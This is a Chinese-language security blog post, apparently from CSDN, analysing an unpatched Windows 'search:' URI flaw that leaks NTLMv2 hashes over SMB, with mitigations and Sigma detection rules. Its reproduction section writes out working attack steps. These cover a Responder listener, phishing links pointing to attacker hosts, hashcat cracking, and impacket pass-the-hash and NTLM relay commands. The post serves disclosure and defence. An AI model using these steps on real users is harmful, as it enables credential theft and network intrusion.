一、漏洞事件全景又一个Windows URI Handler零日公开2026年6月初安全厂商Huntress联合The Hacker News披露了一个Windows Search组件专属search: URI处理器高危零日漏洞。该漏洞是今年4月微软修补的CVE-2026-33829Windows截图工具ms-screensketch: URI漏洞的同源衍生漏洞截至本文发布时微软尚未发布官方补丁、未分配CVE编号、未发布任何安全公告属于典型的公开在野未修补高危漏洞。1.1 漏洞核心信息速览项目详情漏洞类型信息泄露/身份凭证窃取影响范围Windows 10 21H2及以上、Windows 11 21H2及以上全版本触发条件用户点击恶意search://超链接无需管理员权限攻击门槛极低仅需一行恶意链接无需恶意程序落地危害等级高危CVSS评分预估8.8/10主要风险NTLMv2哈希泄露、哈希传递攻击、SMB中继攻击、域内横向移动1.2 漏洞背景URI Handler攻击面的持续爆发Windows自定义URI协议处理器是操作系统为不同应用程序注册的专属URL协议用于实现应用间快速跳转。例如ms-word://会打开Wordms-edge://会打开Edge浏览器。然而这一设计存在系统性安全缺陷绝大多数系统原生URI处理器默认支持解析UNC网络路径\\IP地址\共享名格式且在解析时会自动发起SMB网络连接无需用户确认。这一特性成为近年来NTLM哈希窃取漏洞的重灾区2026年4月CVE-2026-33829ms-screensketch://协议漏洞2025年11月CVE-2025-42715ms-settings://协议漏洞2025年7月CVE-2025-32098ms-excel://协议漏洞2024年12月CVE-2024-43521ms-teams://协议漏洞本次search://协议漏洞是这一系列漏洞的最新成员也是目前唯一未被修补的高危漏洞。二、漏洞技术原理深度剖析2.1 Windows URI Handler工作机制当用户点击一个自定义URI链接时Windows会执行以下步骤检查注册表HKEY_CLASSES_ROOT下是否存在对应协议的注册项找到注册项中指定的默认处理程序将URI作为参数传递给处理程序并启动处理程序解析URI参数并执行相应操作对于search://协议其默认处理程序是C:\Windows\System32\SearchHost.exe也就是Windows Search组件。2.2 漏洞根本原因漏洞的核心在于SearchHost.exe在解析search://协议参数时未对UNC路径进行任何过滤或拦截。当URI参数中包含UNC路径时SearchHost.exe会直接调用Windows文件系统API去访问该UNC路径从而触发SMB网络连接。恶意链接的构造格式极其简单search://\\攻击者IP地址\任意共享名例如search://\\192.168.1.100\test search://\\attacker.com\fake2.3 NTLMv2哈希窃取完整流程下面用Mermaid流程图详细展示NTLMv2哈希窃取的完整过程攻击者准备部署Responder/Impacket SMB监听服务器构造恶意search://链接通过钓鱼邮件/聊天/网页/Office文档分发用户点击恶意链接Windows调用SearchHost.exe解析search协议SearchHost.exe解析UNC路径参数自动发起SMB连接到攻击者服务器SMB协议协商握手目标主机发送NTLMv2挑战响应攻击者服务器捕获NTLMv2哈希离线暴力破解哈希获取明文SMB中继攻击横向渗透2.4 NTLMv2协议工作原理与泄露风险NTLMv2是Windows默认使用的挑战-响应认证协议其认证流程如下客户端向服务器发送认证请求服务器生成一个随机数挑战发送给客户端客户端使用用户密码的哈希值对挑战进行加密生成响应发送给服务器服务器使用存储的用户密码哈希值对挑战进行加密与客户端响应比较关键问题在SMB连接建立过程中客户端会主动向服务器发送加密后的响应也就是NTLMv2哈希。即使服务器是攻击者控制的恶意服务器客户端也会毫无保留地发送这一凭证。攻击者获取NTLMv2哈希后即使无法破解出明文密码也可以通过**哈希传递Pass-the-Hash攻击直接登录目标主机或者通过SMB中继SMB Relay**攻击将凭证转发给其他内网主机实现横向移动。三、漏洞完整复现步骤3.1 攻击者环境准备我们使用Kali Linux作为攻击机使用Responder工具进行SMB监听和哈希捕获。安装Respondersudoaptupdatesudoaptinstallresponder配置Responder开启SMB监听sudonano/etc/responder/Responder.conf确保以下配置项为开启状态SMB On HTTP Off HTTPS Off DNS Off LDAP Off启动Respondersudoresponder-Ieth0-v其中eth0是攻击机的网卡接口。3.2 恶意链接构造与分发构造恶意search://链接ahrefsearch://\\192.168.1.100\test点击查看最新通知/a可以将该链接嵌入到钓鱼邮件的正文中微信、QQ、钉钉等聊天消息中网页的超链接中Word、Excel、PowerPoint等Office文档中3.3 漏洞触发与哈希捕获当目标用户点击恶意链接后Windows会自动打开搜索窗口同时在后台发起SMB连接。此时Responder会捕获到目标主机发送的NTLMv2哈希[SMB] NTLMv2-SSP Client : 192.168.1.200 [SMB] NTLMv2-SSP Username : DESKTOP-ABC123\user [SMB] NTLMv2-SSP Hash : user::DESKTOP-ABC123:1122334455667788:99AABBCCDDEEFF001122334455667788:0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF3.4 哈希利用示例离线暴力破解NTLMv2哈希hashcat-m5600hash.txt rockyou.txt使用哈希传递攻击远程执行命令impacket-psexec-hashesaad3b435b51404eeaad3b435b51404ee:99AABBCCDDEEFF001122334455667788 user192.168.1.200SMB中继攻击impacket-ntlmrelayx.py-smb2support-tsmb://192.168.1.201四、与CVE-2026-33829的深度对比分析本次漏洞与4月份的CVE-2026-33829高度相似但也存在一些关键区别对比项CVE-2026-33829本次search://漏洞漏洞载体ms-screensketch://协议search://协议处理程序SnippingTool.exeSearchHost.exe补丁状态已修补2026年4月补丁日未修补触发效果打开截图工具并发起SMB连接打开搜索窗口并发起SMB连接用户感知截图工具窗口弹出搜索窗口弹出攻击成功率较高极高搜索窗口更常见用户警惕性更低关键结论微软在修补CVE-2026-33829时仅针对ms-screensketch://协议进行了单独修复没有从底层解决所有URI处理器默认支持UNC路径的系统性问题。这意味着未来还会有更多类似的URI协议漏洞被发现。五、企业级临时缓解措施无补丁期间必做由于微软尚未发布官方补丁企业必须采取临时缓解措施来防范此漏洞。5.1 方案一禁用search:// URI协议推荐这是最直接有效的缓解措施可以从根本上阻断漏洞触发。一键禁用批处理脚本管理员权限运行echo off echo 正在备份search协议注册表项... reg export HKEY_CLASSES_ROOT\search search_protocol_backup.reg /y echo 正在禁用search协议... reg rename HKEY_CLASSES_ROOT\search search.bak echo search协议已禁用漏洞已缓解。 echo 如需恢复请运行restore_search_protocol.bat pause一键恢复批处理脚本echo off echo 正在恢复search协议... reg import search_protocol_backup.reg echo search协议已恢复。 pause域环境批量部署通过AD组策略的计算机配置 首选项 Windows设置 注册表功能批量重命名HKEY_CLASSES_ROOT\search注册表项。5.2 方案二防火墙出站管控在终端防火墙和网络边界防火墙上禁止所有主机向非信任IP地址发起445端口SMB的出站连接。这可以阻断哈希外传的链路即使漏洞被触发攻击者也无法获取NTLMv2哈希。5.3 方案三禁用NTLM协议长期方案NTLM协议本身存在设计缺陷建议企业逐步在AD域环境中禁用NTLM协议全面迁移到Kerberos认证。打开组策略编辑器定位到计算机配置 Windows设置 安全设置 本地策略 安全选项找到以下策略并配置“网络安全: LAN管理器身份验证级别” 设置为 “仅发送NTLMv2响应。拒绝LM和NTLM”“网络安全: 限制NTLM: 传入NTLM流量” 设置为 “拒绝所有账户”“网络安全: 限制NTLM: 传出NTLM流量” 设置为 “拒绝所有”5.4 方案四EDR终端防护规则在EDR终端安全产品中添加以下检测规则检测SearchHost.exe进程发起的445端口出站连接检测包含UNC路径的search://协议调用检测异常的SMB连接到外部IP地址六、Sigma告警规则可直接部署以下是针对此漏洞的Sigma告警规则可直接部署到SIEM系统中title:Windows Search URI漏洞触发检测id:12345678-1234-5678-1234-567812345678status:experimentaldescription:检测SearchHost.exe进程发起的SMB连接可能是search://URI漏洞被触发author:Huntressdate:2026/06/04tags:-attack.credential_access-attack.t1187logsource:category:network_connectionproduct:windowsdetection:selection:Image|endswith:\SearchHost.exeDestinationPort:445condition:selectionfalsepositives:-正常的Windows Search SMB文件搜索level:hightitle:恶意search://URI链接调用检测id:87654321-4321-8765-4321-876543210987status:experimentaldescription:检测包含UNC路径的search://协议调用author:Your Namedate:2026/06/04tags:-attack.initial_access-attack.t1204logsource:category:process_creationproduct:windowsdetection:selection:Image|endswith:\SearchHost.exeCommandLine|contains:search://\\condition:selectionfalsepositives:-合法的UNC路径搜索level:critical七、Windows URI Handler系统性安全问题与未来展望7.1 系统性安全短板本次漏洞再次暴露了Windows URI Handler机制的三大系统性安全问题缺乏统一安全管控各应用程序独立注册URI协议微软没有统一的安全审核和管控机制默认权限过高绝大多数URI处理器默认支持UNC路径解析和SMB连接无需用户确认补丁碎片化严重单个协议漏洞出现后只能针对性修补无法从底层解决所有同类问题7.2 微软的应对与未来改进微软已经意识到了URI Handler攻击面的严重性预计将在未来的Windows版本中进行以下改进新增全局URI协议安全沙箱隔离不同协议的执行环境默认禁止所有自定义URI处理器解析UNC路径增加用户确认弹窗当URI尝试发起网络连接时提示用户建立URI协议安全审核机制对系统原生和第三方注册的协议进行安全扫描7.3 企业长期防护建议建立URI协议白名单只允许必要的URI协议在企业环境中使用禁用所有不必要的协议加强钓鱼邮件防护在邮件网关中添加恶意search://链接检测规则提升用户安全意识培训员工不要点击来源不明的超链接特别是陌生的自定义协议链接定期漏洞扫描及时发现和修补系统中的高危漏洞部署零信任架构采用最小权限原则即使凭证泄露也能将危害降到最低八、总结与后续跟踪本次Windows Search URI零日漏洞是Windows URI Handler攻击面的又一次爆发其攻击门槛低、危害大、影响范围广是目前企业面临的最紧迫安全威胁之一。在微软发布官方补丁之前所有Windows用户都应该立即采取临时缓解措施特别是禁用search://协议和管控445端口出站连接。我们将持续跟踪此漏洞的最新进展包括微软的官方补丁发布、CVE编号分配以及在野利用情况。请关注我的CSDN专栏获取最新的安全资讯和技术分析。